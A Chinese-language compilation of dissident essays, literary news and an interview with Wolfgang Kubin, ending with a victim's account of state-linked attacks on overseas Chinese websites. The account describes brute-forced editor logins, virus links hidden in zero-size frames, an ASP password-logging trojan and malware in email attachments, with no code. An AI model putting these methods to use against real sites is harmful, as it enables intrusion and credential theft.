綦彦臣:中国的新达摩克里斯之剑

 

在上个世纪八、九○年代,异议人士指责中共的四项基本原则是达摩克利斯之剑。无论这一指责是否过分,那把政治利剑都是对准了少数政治精英,而当食品安全变得极为恶劣时,中国普通民众几乎是任何人且随时随地遭受利剑的伤害。食品安全变成了悬民众头上的新的达摩克利斯之剑。

如果说几乎被人淡忘的安徽毒奶粉事件是由于黑心厂商丧尽天良所致,那么遭受环境污染后果的食品(如海鲜食品类)则如入无人之境般地销售在各地商场和摊铺。对于环境污染导致的食品安全问题,没有任何一家媒体敢于进行追踪报道。比如说,近两年来,武汉东湖发生了两次死鱼事件,每次均有十余万斤。在另一端,这些死鱼是就地处理(如坑埋)了,还做成食品(如鱼丸)甚或加工成了饲料,外界无从知晓。退一步说,即便是将死鱼做成了饲料,还没上餐桌,二次污染也已经发生。

武汉死鱼事件只是一个个案,并且死鱼事件从东北到青海,从华北白洋淀到华中水域,都普遍发生过。

放下鱼类污染不论,再看每年全国共消费掉50亿只的鸡肉食品,则是“死鱼去向”的一个旁证。据中科院的一项专门调查表明:中国养鸡业养殖模式畸型,每年都有大批鸡只死亡,大部分死鸡被端上了餐桌;还有,大量的死鸡从禽病医院流向了市场,死鸡的加工生产形成了链式作业。仅在广州一个禽类批发市场,每天有50万鸡流入,死亡率为5%(最低计算),而每天就有25,000只死鸡被市民消费掉。

中国的食品安全基本上处于放任自流的状态,如最近在国际媒体上炒得沸沸扬扬的大白兔品牌糖果含甲醇(福尔马林)事件,虽经官方极力澄清辩解,仍存在较大的疑点。即宣称被菲律宾检测者是假冒产品。如此,问题则是:

1、为什么会出现假冒品牌的该类糖果,也就是说在中国做假食品是很正常的事情?

2、为什么“著名的假冒品”会“走出国门,冲向世界”?

正如死鸡的处理流程是死鱼如何处理的一个旁证一样,含甲醇的“假糖”也将与毒牙膏互为佐证。

民主论坛

李昌玉:“右派”,从“五世同堂”到难兄难弟

 

最近,读了几篇文章,颇有一点感想,想来想去,改来改去,终于想出这么一个题目,写这么一篇读后感《“右派”,从“五世同堂”到难兄难弟》。

司鹏程先生写了一篇《“右派”,你们为什么不忏悔》,我已经作了回应,指出他犯了一个写作的忌讳:随心所欲地篡改历史,这样虽然得出了预想的结论,但是这样的文章就好像在浮冰上建造高楼,天暖冰化,高楼就会坍塌。

司文还犯了概念混乱不清的毛病。你既然对着“右派”说话,可是文章中想要批评的对象实际上是章、罗、储等“民主党派”中的右派头面人物。司鹏程文章违反了逻辑推理的基本规则,以偏概全。这一点,严家伟论述甚详。我再略加补充。毛泽东批判文汇报的资产阶级右派方向时,说他们是从个别性的前提得出普遍性的结论,也就是以偏概全。这是很厉害的指责。当时,毛泽东有一个著名的公式,叫九个指头与一个指头的关系,就是说,共产党“伟光正”,成绩永远是九个指头,错误永远是一个指头,你把一个指头的错误批评成九个指头,那就是从个别性的前提得出普遍性的结论,也就是以偏概全。结果,毛泽东的一个指头与九个指头公式成了一网打尽55万右派的穿甲弹爆破弹。

从全文来看,司鹏程所指称的右派,基本上是指章、罗、储为代表的所谓民主人士。关于章、罗、储等人他们在抗日时期、内战时期以及中共建国以后和共产党的恩怨是非问题,这里存而不论。无论怎么说,他们不能代表右派的大部分乃至全体。再说,章、罗、储等大部分当时声名显赫的右派,年龄都比较大,早已先后谢世。现在司鹏程如果是向这批人讲话:你们为什么不忏悔?岂不是无的放矢,向死人喊话!

如果章、罗、储诸人转世,他们自己是否会“忏悔”呢?我看不能排除,但这是从另一个角度看问题。作为后来人,作为旁观者,还是宽容一点吧。在中国,只有一个人不能宽容,就是毛泽东。对于他欠下的债,没有算清的终结。

以年龄而论,右派虽然打了55万,现在活着的人,充其量还有10万人。右派只有一点相同,就是毛泽东定义的“资产阶级右派就是反共反人民反社会主义的资产阶级右派”。按照年龄,右派是一个“五世同堂”的大家族。据我所知,打右派的时候,年龄最大的85岁,为上海的冒广生,是前清名士。年龄最小的,例如云南昭通的李曰垓,宣布戴帽的时候刚满16周岁,批斗的时候还只有15岁,因此右派老少相差70岁。这是不是可以算作“五世同堂”呢?此外,中专学生、高中学生中打的是“反社会主义分子”,他们的年龄也有15岁的,不过后来取消了。但是这些人,主要是高中毕业生,戴了反社会主义帽子,考不了大学,等到能考的时候,机遇错过了,后来他们又不存在“落实政策”的问题,两头不够边,遭遇更加倒霉。

在司鹏程的眼睛里,1957年,“中国‘右派’没有选择‘不说话’的沉默,他们选择了‘向人民投降’。1957年,从夏天到秋天到冬天的日子里,被划作‘右派’和与未被划为‘右派’的知识分子,比以往更加卖力地向党表现着自己的忠诚。怀着邀宠的希冀,这些教授名流们痛哭流涕、横七竖八地相互揭发、攻讦,出卖家人亲友,检举揭发自己的同类,践踏别人的同时也被别人践踏……。

这就是反右!它远没有‘右派’们所描述的那样惊天动地。‘右派’,也从来不是他们吹嘘的那般清白高大。“

1957——这是一块猩红色的耻辱柱,上面遗留着中共的印记,也记录下了中国知识分子最丑陋的一幕。“

司鹏程描述的情况,并不虚假,但是,他的憎恶、他的痛斥、他的批判,他的愤怒、他的揭露不但聚焦在右派分子身上,而且还有“未被划为‘右派’的知识分子”,把全部知识分子都扫荡在一个箩筐里。这也犯了逻辑常识的错误。“右派”这个概念有确定的内涵,写文章的时候,不能兴之所至,横扫一大片,造成更多的冤假错案。

1957年5月15日,毛泽东在密室策划发动反右派运动的时候,就确定了要打右派,而且预见到这样做人们会质疑“不合情况”,因此预先反驳道:“你们把人们划分为左、中、右的时候,未免不合情况吧?”他设问设答道:“除了沙漠,凡有人群的地方,都有左、中、右,一万年以后还会是这样。”(《事情正在起变化》)因此,反右运动之中,打了55万右派分子,其中包括极右分子,运动之后,其他的人,都要分别评定中右分子、中间分子和左派分子,就像农村里要评定地主、富农、富裕中农、中农、下中农、贫农,工厂里要定出先进、中间、落后分子(见《中共中央关于在工人、农民中不划右派分子的通知》1957年9月4日)一样。这一点可能许多人都不了解,因为现在写文章的人都盯在右派上。

唯一令毛泽东遗憾的是,1957年之后,一直到第二代领导人手上,再也没有搞成一次名字叫做反右派的运动,因此也没有再给人戴上名字叫做“右派”的帽子,至于另外的名目,这里就不管了。现在离开毛泽东预言的一万年还早得很,中共中央至今还坚持认为1957年的反右运动是正确的必要的,因此以后是否会再来一次,谁也不敢预言,反正这个口袋没有封口。

中右分子不戴帽子,但要受处分。我的一个同学,因此除名预备党员,从中学调到小学任教。

至于左派分子,他们的人数应该比划为右派的多得多。他们都是有功之臣,运动完了,论功行赏,党员升官,非党员入党,为做官铺垫了台阶,22年后,等到给我们落实政策“改正错划”时,掌握大权的干部,许多就是反右的积极分子和有功之臣。只要有专制的权力,总免不了鲁迅所说的以人血染红顶子的事。今天也不必太苛刻地对待这些人。左派和右派并没有不可逾越的楚河汉界。我本人并非命定的右派,差一点也成了左派。只是因为上帝打了一个盹,我“错划”成了右派。

大概司鹏程不知道,“未被划为‘右派’的知识分子”的情况是很难一言以瞥之的。至于“中国‘右派’没有选择‘不说话’的沉默,他们选择了‘向人民投降’”这是没有参加反右的人的臆想之言。极端地说,不说话也可能打右派。

所谓“五世同堂”,我举一个切近的例子。我们山东大学的头号大右派是副校长陆侃如。他是九三学社全国常委,著名的文学史家,以文思敏捷,才华卓异被认为学界翘楚。他1903年生,比我年长31岁,比我父亲年长9岁,打右派时54岁。他因为尊奉毛泽东的指示,在九三学社内发动讨论高等学校的党委领导制的存废问题,结果毛泽东出尔反尔,食言自肥,把民盟、九三的一大批“蛇”引出了洞,最后“聚而歼之”。那时山东大学的正副校长书记只有三四人,共用一辆小车,美国货,道奇牌,当然是旧车。陆侃如打了右派当然就得下台,从此就“出无车(JU)了。那时,正是大跃进、大炼钢铁、人民公社三面红旗迎风飘扬的时候,我们每个学期都要下乡劳动两个周。每次下乡,年青的教师也是要去的。陆侃如虽然年纪不轻,当然也要下乡改造。我们学校位在济南市的东端,可是劳动地点总是选在西郊的长清县,相距最少四十里。每次下乡,陆侃如都是自己背着小铺盖卷,和其他年青教师一起走。这时,这位在大学一年级就因为出版了《屈原》受到胡适垂青,后来进了清华大学研究院,做了吴宓、王维国的大弟子,到法国巴黎大学通过博士论文答辩的时候,考官问”孔雀为什么要东南飞“,他脱口答道”因为‘西北有高楼’“,说明他对乐府诗歌的研究已经达到炉火纯青的地步,令众考官击揭赞赏,他还因为文采风流感动了五四时期知名的青年女作家、获得鲁迅酷评的冯沅君――笔名淦女士者,成了令人称羡的才子才女配,但是,此时,在他背着小铺盖卷下乡的途中,除了脸上架着的那一付金丝边眼镜,再也没有一点文质彬彬的相貌了。

冯沅君是大哲学家冯友兰的令妹。

只是因为他不和我们学生在一起劳动,否则,我们之间就免不了戏称“难兄难弟”了,但这样的“难兄难弟”,以后还真是遇到不少。

1957年“最丑陋的一幕”就是毛泽东和执政党以至高无上的专制权力,以亘古帝王也没有采用过的手段,把几十万知识分子打成右派分子,其中半数以上送往夹边沟一类地方“劳动教养”,株连所及,有数百万人,弄得家破人亡、妻离子散和非正常死亡者以及留下残疾者无计其数。他们的精神人格受到百般羞辱和伤害,苟活存世者至今都隐隐作痛。

昨晚接到湖南邵阳老右黄步萍先生电话,他80岁了,比我年长六七岁,阅历更为丰富,也更为凄楚。他只有小学毕业的文化,参加革命之初,受到上级的器重,当了7天三反运动的打虎队队长,忽然把他关了起来,一关就是一百多天,最后什么事也没有。领导谆谆教导他说:“这正是党对你的考验,看你是不是经受得住考验,从此无怨无恨地跟着党走。”我说:“黄老兄,你知道吗?这正是刘少奇的《论共产党员的修养》作出的贡献,可惜的是刘少奇自己也在这个‘考验’中丢掉老命。”

从《观察》右派签名栏查知,存世的“右派”中,年龄最大的是湖南邵阳的陈新宪,95岁,和李曰垓相比,两人相差30岁。我估计大概还有大于95岁的老右存世。李曰垓的昭通同乡,被称作“云南王”的龙云,打右派时为70岁,头号右派章伯钧则为63岁。

我本人现在74岁,真是夕阳无限好,只是近黄昏了。写到这里,下楼散步,和一位年过八旬没有打过右派的老师闲聊,说起50几年前颁布了中华人民共和国的第一部法律《婚姻法》,使老干部们名正言顺地和黄脸婆离婚,然后组织部出面为他们当红娘,牵线搭桥,成人之美。那时,老干部们见面的问候语是:“离了吗?”就像现在问“吃了吗”一样。说起这些历历往事,他不胜感慨道:“我这一生活得真值,什么事都看到了。”

谁说苟且偷生不好呢?

附言:关于右派的年龄,山西长治一位没有打过右派的马纯孝先生,做了一些研究,特地报告给我。他根据书刊的资料,统计了300名右派的年龄,其中主要是各方知名人士,按照各年龄段人数,依次从高到低是:

41-50者107人,

21-30者65人,

51-60者55人,

31-40者47人,

60以上者21人,

20以下者5人。

他得知的最小的年龄是17岁,最大的年龄是77岁。(以上资料摘自他的来信)

(2007/7/15于山东大学附中)

顾彬:“作为代言人获奖”

 顾彬在新疆

波恩大学汉学家、翻译家顾彬教授获得了首届中坤国际诗歌奖,以表彰他几十年来在德中文化交流方面所做的卓越贡献。颁奖大会将于今年10月16日在北京举行。然而,翻译并非顾彬真心所爱。“按照我的本意,也许早就放弃这项工作了。”他在接受德国之声记者采访时说,“但是,我有一种向德国介绍中国文学的责任感。”

德国之声:顾彬教授,您在中国文学圈内的盛名一向只被为数极少的外国人知晓。现在,您因为在文化交流方面的成就而受到了嘉奖。您准备何时前往北京?

顾彬:我打算较早启程前往北京。因为其间我还将赴四川讲学。九月初,我就将动身,到领奖之前大概一直都在中国讲学。

您不必自谦,请具体地谈一谈您的获奖原因。

我想,并不是我个人获得了这份奖项,而是整个德国文化界。必须明了,如果没有来自于德国文学圈,以及其中的一些重量级人物的大力支持,我将不会成为一名翻译家,也不会每年推介多部中文作品。我想,迄今为止,德国方面的文化成就太少受人关注,也鲜有表彰。请不要单独突出个人的成就。翻译这件工作对于我本人来说直到今天都是异常痛苦的。但是,正因我总能在圈子里找到合适的咨询对象,我才发现自己所做的事情其实也是特别而有趣的,而且还能提高我的德语水平,所以,翻译在某种程度上也有助于培养我个人的写作风格。

您所获得的中坤国际诗歌奖是首届颁发,是这样吗?

是的。

这一奖项是由谁创办的?

是由帕米尔文化艺术研究院主办,中坤投资集团旗下的诗歌发展基金出资设立的。中坤集团主要经营房地产旅游业务,董事长本人是诗人。他很喜欢和诗人聚会,近年来对北京大学新诗研究所等诗歌研究机构多有资助。

这是否与中国在全球化进程中加强对外文化攻势有关?

这是一个矛盾的现象。从中国方面来看,中国不仅要在国际政治和市场经济的舞台上扮演一个大国角色,而且还要在文化领域占据一席之地。这与中国立下的要重返世界文学之巅的宣言是有可比性的。也就是说,中国要作世界文学的领头羊。然而,中国文学实际上已经在1949至1979年间基本被毁坏殆尽了。而且这种毁坏一直未能在官方及民间的努力下得以恢复。重建中国文学任重道远,首先要做的应该是资助那些迄今遭到排挤的边缘作家,其中主要是诗人。他们在中国少有读者。因此,我一直认为,中国当代最杰出的诗人其实并不属于中国文学,他们是世界文学的一部分,其主要读者和受众群生活在国外。假如现在我为这些具有世界影响力的诗人举办一场朗诵会,估计会引来250名听众,而这样的数字在当今中国根本无法想象。

 顾彬和北岛

您从70年代末开始就翻译编辑了很多被中国当局视为禁忌的作品,其中5度被提名诺贝尔文学奖的北岛直至今日都不能在中国大陆自由出书。而您为什么却偏偏因为这方面的翻译成就而获奖呢?

这个问题很难回答。我本人从未想过要成为一名翻译家。而且我常常很厌恶我所要翻译的文字,这大概是翻译者当中的一个通病。按照我的本意,也许早就放弃这项工作了。但是,我有一种向德国国内介绍中国新文学的责任感。谢天谢地,已经有一大批优秀的翻译者来推介各类长短篇小说。所以,我不必费心关注这部分文学领域。迄今没有引起足够重视的是杂文、散文、诗歌。而我所做的翻译版本与别人有所不同,也不会彼此重叠。

获奖难道不意味着对您所介绍的诗人的一种认可吗?

是的,至少我希望如此。我所翻译的多半是政治取向不太对官方胃口,或者个人处境异常艰难的作家作品,这些作家在中国并不得志,拥有很小的读者群体。因此,正如您所说,我所翻译推荐的作家在中国属于边缘人群,我其实是作为这部分作家的代言人而获奖的。

去年,您在中国引起了一场激烈的文学辩论。您措辞尖锐地批判了中国当代文学的粗陋和低劣。您依然坚持自己的这种观点吗?

这中间有一些误会。有些话肯定不是我说的。有些话确实出自于我。对于我所说过的话,我一定承认,不会撤回。

可是您的言论引起了很多人的共鸣。网络论坛上涌现出几十万条支持您的发言,权威性文学期刊公开讨论您的观点。这场辩论还会持续下去吗?

是的。最近《人民日报》几次向我提出采访要求,我都没有接受。因为我不想老调重弹,再去重复过去已经费尽口舌的话题。

采访人:莎佩雪

与拉美“文学爆炸”第二次握手

 

在全球销量逾500万册、被誉为“美食版《百年孤独》”的墨西哥作家劳拉。埃斯基韦尔的畅销书《恰似水之于巧克力》近日由接力出版社引进中国。

该书出版后曾被评家誉为“拉美魔幻现实主义皇冠上的一颗明珠”,作者则被誉为“厨房文学”的开创者。小说按照一年的十二个月分成十二章,每章开头列一份菜谱,以十二道墨西哥美味佳肴,勾勒出一位拉丁美洲的“大长今”,并由此引出一段凄美动人的爱情故事。

小说出版后引起广泛关注。1992年,墨西哥著名导演阿方索。阿雷奥将其改编成电影《巧克力情人》(又译为《浓情巧克力》)。影片囊括了1992年墨西哥电影科学与艺术科学院Ariel电影奖所有奖项,荣膺包括美国金球奖最佳外语片、英国学院奖最佳外语片在内的十几项国际性大奖。影片的上映掀起了购买原著的热潮。小说曾高居墨西哥畅销书排行榜榜首两年之久,并被译为40多种语言,在美国销量超过200万册,并获得1994年美国图书馆服务协会青少年年度图书大奖。该书由著名西班牙语翻译家朱景冬翻译,著名作家莫言、余华联袂推荐。

穿越小说成新宠 四大穿越获百万版税

 

玄幻小说、轻松历史读物、盗墓小说,这些网络热门写作类型,不但贡献了《诛仙》、《明朝那些事儿》、《鬼吹灯》等近些年销量较为罕见的原创出版物,更带动了类型小说的出版热潮。三者之后,下一个热门是什么?就在各大网站纷纷推出”穿越小说专题”的时候,昨天,作家出版社宣布,该社以12%的版税,各10万册的首印量签下《木槿花西月锦绣》、《鸾》、《迷途》、《末世朱颜》,它们是被百万网民评选出的”四大穿越奇书”.穿越小说是言情小说变种

何谓”穿越小说”?作家社总编室主任刘方解释为:”穿越小说的称谓不是类别划分,而是按内容定义。其情节通常是描述一个当代青年遭逢变故,机缘巧合下,进入古代,以在场的方式参与见证了种种众所周知又知之不详的历史事件。”当代中国文学里面,黄易的《寻秦记》算影响最大的穿越文学作品,也可以被视为当代华语文学穿越类型的滥觞之作。

目前市场上已出版不少穿越小说,大都能畅销一时,比较著名的有波波的《绾青丝》、金子的《梦回大清》、桐华的《步步惊心》、晓月听风的《清宫、晴空、净空》等。这类小说主要受到女学生和女白领的追捧,可以视为言情小说的一个变种。

穿越小说大多是”清穿”

因为清宫电视剧等媒介的影响,清朝可以说是当代青年最为熟悉的一个中国朝代,而漫长的清朝历史留下的种种传奇和谜团也为写作者留下了足以发挥想象力的空间。因此,穿越小说有大量的作品将历史现场放在清朝,甚至促成了一个专门的名词”清穿”,《鸾》、《迷途》和《末世朱颜》都是穿越到清朝的。其中《鸾》讲的是主人公与少年康熙谈了一场轰轰烈烈的恋爱;《末世朱颜》的女主人公更是化身慈禧,权倾天下。

在所有清穿小说中,穿越到康熙末年、九王夺嫡时代的最多。与康熙帝的九个皇子之间的故事,完全满足了年轻女子的宫廷爱恋之梦。

纸质出版争抢”穿越”市场

据估算,此次签约按平均每本书定价25元计算,作家社将总共支付至少100万元稿酬。许多人认定这完全是在炒作。

但也有业内人士分析,这可能是因为不少人对穿越文学及其声势并不了解。”穿越”是继玄幻、历史、盗墓等三波网上阅读热潮后的最新网络阅读势力。而且这股风潮来势更凶,不仅网罗的作品数不胜数,而且各大原创网站头牌小说都是”穿越”.滕讯网读书频道主编沈笑说,有不少于10家出版社或书商曾找到他,希望能和穿越作者取得联系,签下出版合同。沈笑说:”在这种竞争下,作家社签出这样的价码,也属正常。这也从另一方面说明,类型化渐渐明显的网络文学和传统出版行业的步调越来越合拍,大家在目标和判断上日趋一致。”

记者点评

历史+言情+虚幻=穿越小说。有人说读了这些书备感幸福;有人说千篇一律的写法让人烦;有人说现在的女孩梦想回到古代左拥右抱,征服各种帅气又有地位的精英男士实在太可悲。

穿越小说到底穿越了什么?几乎所有的女主人公都”穿越”到荣华富贵的古代宫廷生活中,这里没有贫穷,没有饥饿,没有恼人的柴米油盐,只有风华绝代,只有卿卿我我,只有你死我活的宫廷之争。难道这仅仅是在如今全民”品历史”的时代,女孩把玩历史的小把戏?

想来这些在现实面前却步或心生倦意的女孩,还真的有几分让人心疼。她们其实和那些在游戏空间里一路厮杀、过关斩将的玩家,还有那些神气活现的COSPLAY迷们没什么两样,在现实里迷失自我,却想在虚幻世界里找回自己。但”穿越”现实却始终躲不开现实,也许正因为这样,穿越小说最终该是以悲剧收场。

诺奖得主耶利内克在网上出版小说新作

 

“我的退隐不只是童年时代心理疾病的结果,部分原因也是由于对生活感到失望。我一再感到对我作品的轻视,有些甚至来自女性……这几乎像疾病一样将我摧毁。”

自称患有“社交恐惧症”的奥地利女作家、诺贝尔文学奖得主艾尔弗丽德。耶利内克,多年来隐居于维也纳和慕尼黑家中,甚少在公共场合露面,就连2004年的诺贝尔奖颁奖大典,也以害羞为由回避出席,仅以一盘事先录好的录像带应付了事。

她还婉拒了奥地利邮政机构将其印上邮票的一番美意,理由是看见自己的头出现在邮票上,会让她觉得不舒服。

但是,在互联网上,她要轻松自如得多,甚至选择通过网络而非实体的书店来发行她的小说新作《嫉妒》(Neid)。

“我发现互联网简直是世界上最棒的东西。”在通过电子邮件接受美联社采访时,60岁的耶利内克女士说,“它把人物联系起来。人人都能参与其中。”

她已将小说的前几章贴到了自己的网站(www.elfriedejelinek.com)上,余下亦将陆续贴出。“任何想得到它的人都可以下载和打印。”她说。

她自认为此书的最初两章是“blog和散文的混合体”,并说:“在互联网上搞出版,真乃民主之道也。”

她的作品以激进的女权主义色彩著称,但不断遭到书中描写过于色情的批评。

“我的退隐不只是童年时代心理疾病的结果,部分原因也是由于对生活感到失望。”她在电子邮件中写道,“我一再感到对我作品的轻视,有些甚至来自女性……这几乎像疾病一样将我摧毁。”

她知道有许多人喜欢她,想见到她,而她自己若确有欲望,也会与人相见。但是,“只要我有了书和DVD,就不太想见人了,”她说。

维也纳耶利内克研究中心主任皮娅。扬克(Pia Janke)告诉美联社,最近几年,世界各地的人们对耶利内克的好奇心越来越强,“从美国到南非和中国”,都有人打听她的生活素材。

诺贝尔奖是否改变了她的生活呢?耶利内克说,她无法像以前那样四处走动,因为人们认识她了。但是获奖也有好处:奖金让她能够尝试新鲜事物,比如在网上出版小说。

今年春天,耶利内克的新剧《关于野兽》(Ueber Tiere)在维也纳的城堡剧院首演,该剧改编自奥地利此前一桩真实的丑闻,讲多位律师、外交官等头面人物如何花高价,与来自东欧的未成年少女们发生离奇性事的经历。

耶利内克的多部主要作品,在她获得诺贝尔文学奖后,经历一轮版权大战,已分别由数家出版社在中国内地出版。然而,由于她作品难以为大众接受的天然特性,这些书中的大部分销量并不理想。

一波三折定行程 帕慕克明年春天来华

 

一波三折后终于正式敲定行程  帕慕克明年春天来华去年诺贝尔文学奖得主帕慕克的访华计划,在经历了多个版本的传说之后,日前终于正式敲定日期。

据帕慕克作品简体中文版出品方世纪文景公司负责人透露,经过多个回合的接洽后,他们终于在本月初得到了帕慕克的亲笔回邮,他在回邮中说:“我非常乐意接受邀请,然而今年8月恐怕无法成行,明年春季4、5月时我将可前往中国进行10天左右的活动”。

今年春节前后,就陆续有帕慕克访华的消息见诸于报端,起初是3月,但3月计划因传帕慕克流亡美国而宣告流产。后来,又积极争取8月,但也是迟迟没有确切回音。直至7月初,事情才有了一线转机。据文景公司经手此书的版权经理李小姐说,她去年底便开始联系帕慕克的访华事宜,还多次给帕慕克本人发送电子邮件,但最初的多封邮件均未获回复。

6月,文景公司总经理施宏俊应土耳其方面的邀请,与帕慕克作品的译者沈志兴同赴伊斯坦布尔参与土耳其文学研讨,去之前,施宏俊期待能与帕慕克本人有所交流,并当面向他表达期望其访华的愿望。遗憾的是,6月初帕慕克本人正在戛纳电影节担任评委,并未出席这场以他为主角而举行的研讨会。而7月初,李小姐再次写信给帕慕克希望他能在今年8月访华,终于得到了帕慕克的亲笔回邮。

据悉,帕慕克此次的正式邀请由中国社科院与上海世纪出版股份有限公司联合发出,具体的行程安排正在筹划中。

目前帕慕克已有6部作品与中国读者见面,分别是《白色城堡》、《伊斯坦布尔》、《雪》、《黑书》与《新人生》,这6部作品是帕慕克在不同阶段的代表作,这6部作品的出版也表示这位诺奖得主最为重要的作品已全部出齐,目前总发行量达50万册。

除此之外,今年下半年,帕慕克的另两部作品《塞夫得特和他的儿子们》与《寂静的房子》也将出版,新作《纯真博物馆》则正在积极联系中文版权。

乌干达女作家获“非洲布克奖”

 

年轻的乌干达女作家莫妮卡。阿拉克。德恩耶科(Monica Aracde Nyeko)上周赢得了有“非洲布克奖”之称的凯恩非洲文学奖,并获奖金10000英镑。

德恩耶科生于1979年,其得奖作品是描写乌干达内战期间穷苦家庭生活的短篇小说《詹布拉树》(Jambula Tree)。凯恩非洲文学奖(Caine Prize for A frican Writing)颁给以作品表现非洲精神,并用英文出版的非洲短篇小说作家。该奖以布克公司前任董事长和布克奖经营委员会主席迈克尔。凯恩命名,因而得到“非洲布克奖”的别名,2000年首次颁奖。

去年该奖得主是南非女作家玛丽。沃森(Mary Watson)。

杨莉藜:中共的网络恐怖活动——以对《观察》网站的攻击为例

 

独立中文笔会网站编辑按:杨莉藜女士的文章里提到了中共网络特务对我们独立中文笔会网站的破坏活动,故我们特转载在这里,并就中共网络特务对独立中文笔会网站的攻击性破坏情况说明如下:

1.自笔会网站创建以后,一直受到中共网络特务的反复破坏.他们利用网站的程序漏洞不断投放病毒加以破坏.

2.杨莉藜女士文里提到笔会网站被“恐怖分子不但在该网站的主页植入病毒,在许多单篇文章中也有病毒存在”主要是根据GOOGLE提示而提出.根据我们网站程序人员所掌握的情况,是中共网络特务利用系统漏洞植入了ASP文件.根据ASP源码分析,此文件主要是通过木马文件记录笔会管理员的密码等情况,意图获得笔会网站的管理员控制权限.所以在单篇文章里则不存在病毒的情况.

3.中共网络特务对笔会网站的恶意网络攻击主要是集中在今年的4-7月份.基本上是一发现特务利用漏洞攻击,我们就立即加予清理.为了保障网站的安全和用户的利益,我们已经关闭了因漏洞存在而导致特务利用的论坛和博客功能,因此目前访问网站是安全的.

引言

两次海湾战争中西方展示的先进电子战术和飞速发展的网络技术,使野心勃勃的中共认识到电子战的重要意义,自上个世纪末以来,中共不惜血本,一方面致力于网络的防范,另一方面致力于网络的攻。在军事力量方面,1996年,中共成立了网络作战部队,2000年以来多次对台湾发起进攻,一次战斗甚至长达数月。在非军事方面,2000年以来,中央和地方相继成立了分别隶属于公安和国安的网络警察机构,据传,网警总人数已达三十多万。

除此之外,中共还网罗了一些网络愤青,组成黑客团伙。这部分人可以看作中共的网络民兵,虽然是乌合之众,但恐怖手段亦不可小觑。以“红客”自诩的这些网络黑客近几年来已经先后攻击过台湾、日本和美国的政府、甚至军事网站。

封堵网路,把不利于中共的信息拒之国门之外,监视、逮捕异议网络作家,只是中共网警的工作之一。他们的另一部分工作就是主动出击,攻击异议网站,破坏敌方网络与电脑,盗取敏感信息。他们的前一种工作已经引起了人们的广泛关注,后一种工作尚需受害者的揭露、曝光和有效的防范。

《观察》网站自2002年创办以来,秉承“知”的宗旨,客观、真实地向大陆读者传递被中共查禁的信息。网站丰富的内容、犀利的前瞻性和平实的文风赢得了越来越多的读者的喜爱,因而也成为中共网络恐怖力量首要的攻击目标之一。本网站受攻击的个案因此具有一定的典型意义。

《观察》的鬼魅编辑

至少从2006年秋天以来,登陆《观察》网站的一些读者常常发现杀毒软件提醒网站有病毒。这种情况时断时续,一直没有得到彻底的解决。最初我们的想法是中共的黑客通过某种高技术手段把病毒植入我们的网站,我们的技术力量有限,彻查困难不小。然而经过一番观察和分析之后发现,中共网络恐怖分子不过是冒充我们的编辑进入网站,把一段链接代码加入了我们的网页。

《观察》重要文章都会在首页的中间栏目出现,并附以内容简介。我们的这位“编外”工作人员勤勤恳恳执行自己的任务,每当美国进入夜晚,便登入我们的网站,进入编辑工作界面,把通往病毒网页的链接加到某篇新发表文章的简介部分。由于首页的文章不断更新,他需要定时定点地关注我们的首页,等到植入病毒的那篇文章快要从首页推移到次页时,就把原来那段病毒代码剪切掉,拷贝到新文章的简介部分,使《观察》首页一直保持带有病毒的状态。

图一:鬼魅编辑在《观察》网站写入病毒链接(2007年3月25日抓图)

从2006年底到今年5月,《观察》先后被链接到台湾、中国和美国的病毒网站。这些病毒网站可能是攻击《观察》的恐怖分子临时找的肉鸡,也有可能本来就是中共网络间谍的窝点。这些木马病毒可以感染浏览者的电脑,收集浏览者的信息,同时也使给《观察》网站运行不畅,数据库经常出错。

上图是2007年3月25日《观察》的影子编辑在美东世界晚9点15分冒充我网站编辑在一篇文章的摘要中加入病毒链接。从链接的地址看zggc当是指“中国观察”,gc自然就是“观察”,是一个专门用来监控我网站的网页。经查证,该网站位于中国四川。

找到了中共网络恐怖分子的进攻方法之后,《观察》工作人员各自更新了ID和密码,这之后此类病毒便宣告绝迹。我们的基本分析是:工作人员ID和密码过于简单,使中共网络恐怖分子以穷举的方法找出了密码,因此可以以编辑的名义进入工作界面,随意植入病毒。这样植入的病毒,一般可以在网站首页的源文件里看出来。病毒链接一般放在一个框架(frame)里,但是常把Frame的长宽高设为零,使肉眼无法看出这个框架的存在。

按照这个规律,笔者先后在以下网站发现了同样或相似的病毒,而且不少病毒已经不止一日存在,连Google搜索到这些网站都会显示一条信息,提醒读者这些网站有病毒存在:

独立中文笔会网站 (www.chinesepen.org)
新世纪新闻网 (www.newcenturyworld.com)
林昭纪念网 (www.linzhao.org)
维权网 (www.crd-net.org)

图二:Google对独立中文笔会网站的提示(2007年7月19日抓图)

这些网站中以独立中文笔会网站的受害程度为最。恐怖分子不但在该网站的主页植入病毒,在许多单篇文章中也有病毒存在。看来他们的网络漏洞多多,鬼魅编辑可以如入无人之境地四处“埋雷”。

防不胜防的邮件病毒

通过电子邮件携带的附件向敌方发送病毒是网络恐怖活动的常用手段,《观察》的工作人员长期以来也深受困扰。编辑部和编辑人员的个人信箱至少每天收到一封携带病毒的邮件,有时每天甚至多达数封。

邮件附件包含的病毒多是间谍木马,以植入接收者电脑,并感染和接收者有关的其他联系人。少数附件带有攻击windows操作系统,特别是IE浏览器和Windows系统浏览器的恶性病毒,造成系统运行不畅,信息外泄,甚至导致操作系统全盘崩溃。

经过半年多的观察分析,我们发现邮件病毒攻击者多采用ZIP和RAR压缩包的方式隐藏病毒,有时也通过HTMLHELP文档、HTML文档、WORD文档等传播病毒。攻击的时机多选择有新闻热点出现时,伪装成新闻提供者向编辑部投稿。经查证,这些攻击者多来自中国大陆,邮件地址多为新注册信箱,但也经常模拟或者盗用有一定知名度的作者信箱,近期我们收到的携毒邮件有模拟或盗用丁子霖、王怡、李昌玉、杨银波等人的邮件地址的。

为遏制这些网络恐怖分子的骚扰,降低携毒邮件对其它接收者的毒害,《观察》于两个月前推出了“最新病毒警报”(http://observechina.net/info/artShow.asp?id=43640),及时将编辑部收到的重要携毒邮件信息上网公布。此举虽然无法彻底解决携毒邮件的攻击问题,但把鸡鸣狗盗的网络恐怖分子的面目和手段暴露在阳光下,使其无法在网络的掩护下为所欲为,一定程度上降低了此类携毒邮件对《观察》的攻击频度。

神秘女人“我爱海”

